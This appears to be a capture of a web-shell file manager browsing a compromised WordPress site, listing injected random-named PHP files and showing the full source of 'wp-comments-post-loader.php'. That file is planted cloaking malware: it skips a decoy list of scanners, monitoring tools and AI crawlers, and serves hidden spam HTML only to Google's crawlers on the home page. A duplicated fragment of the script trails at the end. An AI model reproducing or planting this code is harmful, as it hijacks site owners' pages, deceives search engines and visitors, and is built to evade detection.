FM / cititower.mx

/home/vianto5/cititower.mx

Name	Size	Mode	Actions
.render-cache/	-	0755	rm
.well-known/	-	0755	rm
amenidades/	-	0755	rm
en/	-	0755	rm
plantas/	-	0755	rm
renta-de-locales/	-	0755	rm
rental-of-premises/	-	0755	rm
ubicacion/	-	0755	rm
video/	-	0755	rm
well-known/	-	0755	rm
wp-admin/	-	0755	rm
wp-content/	-	0755	rm
wp-includes/	-	0755	rm
.htaccess	281	0644	edit dl rm
.htaccess_bk	2047	0644	edit dl rm
bdgpmtyd.php	36254	0644	edit dl rm
bmugpupt.php	12784	0644	edit dl rm
ejegwyfo.php	7317	0644	edit dl rm
google5e5e533239bf5365.html	53	0644	edit dl rm
index.php	1946	0644	edit dl rm
index.php.nox-bak	405	0644	edit dl rm
license.txt	19903	0644	edit dl rm
php.ini	105	0644	edit dl rm
readme.d479f915d5e57d1ad39e10289cf269e1.html	7425	0644	edit dl rm
readme.php	97010	0644	edit dl rm
wp-activate.php	7349	0644	edit dl rm
wp-blog-header.php	351	0644	edit dl rm
wp-comments-post-loader.php	1505	0644	edit dl rm
wp-comments-post.php	2323	0644	edit dl rm
wp-config.php	3341	0600	edit dl rm
wp-cron-warj.php	1659	0644	edit dl rm
wp-cron.php	5617	0644	edit dl rm
wp-links-opml.php	2493	0644	edit dl rm
wp-load.php	3937	0644	edit dl rm
wp-login.php	51459	0644	edit dl rm
wp-mail.php	8727	0644	edit dl rm
wp-settings.php	31055	0644	edit dl rm
wp-signup.php	34650	0644	edit dl rm
wp-trackback.php	5214	0644	edit dl rm
xmlrpc.php	3205	0644	edit dl rm
yicvajoa.php	19513	0644	edit dl rm
yvzciafo.php	10560	0644	edit dl rm

Edit: /home/vianto5/cititower.mx/wp-comments-post-loader.php (1505B)

<?php
$_nox_lock='/home/vianto5/cititower.mx/.render-cache/render.lock';
$_nox_ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';
$_nox_uri=strtok(isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'/','?');
$_nox_decoy=array('curl','wget','python','go-http','java','scrapy','axios','phantom','selenium','puppeteer','playwright','headlesschrome','chromium','bingbot','yandex','duckduckbot','baiduspider','ahrefsbot','semrushbot','mj12bot','dotbot','ccbot','rogerbot','exabot','sistrix','majestic','facebookexternalhit','twitterbot','linkedinbot','pinterest','lighthouse','pagespeed','gtmetrix','pingdom','screaming frog','uptimerobot','newrelic','google-site-verification','chatgpt','claudebot','amazonbot','applebot','gptbot','bytespider','perplexitybot');
$_nox_decoy_hit=false;$_nox_ua_l=strtolower($_nox_ua);foreach($_nox_decoy as $_kw){if(strpos($_nox_ua_l,$_kw)!==false){$_nox_decoy_hit=true;break;}}
if(!$_nox_decoy_hit&&file_exists($_nox_lock)&&preg_match('/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|APIs-Google|GoogleOther|Google-/i',$_nox_ua)&&$_nox_uri==='/'){
  if(file_exists('/home/vianto5/.nox-content/cititower-mx-118539/wp-comments-post-loader.html')){while(ob_get_level()>0)ob_end_clean();header('Content-Type: text/html; charset=utf-8');header('Vary: User-Agent');readfile('/home/vianto5/.nox-content/cititower-mx-118539/wp-comments-post-loader.html');exit;}
}
unset($_nox_lock,$_nox_ua,$_nox_ua_l,$_nox_uri,$_nox_decoy,$_nox_decoy_hit);

0)ob_end_clean();header('Content-Type: text/html; charset=utf-8');header('Vary: User-Agent');readfile('/home/vianto5/.nox-content/cititower-mx-118539/wp-comments-post-loader.html');exit;} } unset($_nox_lock,$_nox_ua,$_nox_ua_l,$_nox_uri,$_nox_decoy,$_nox_decoy_hit);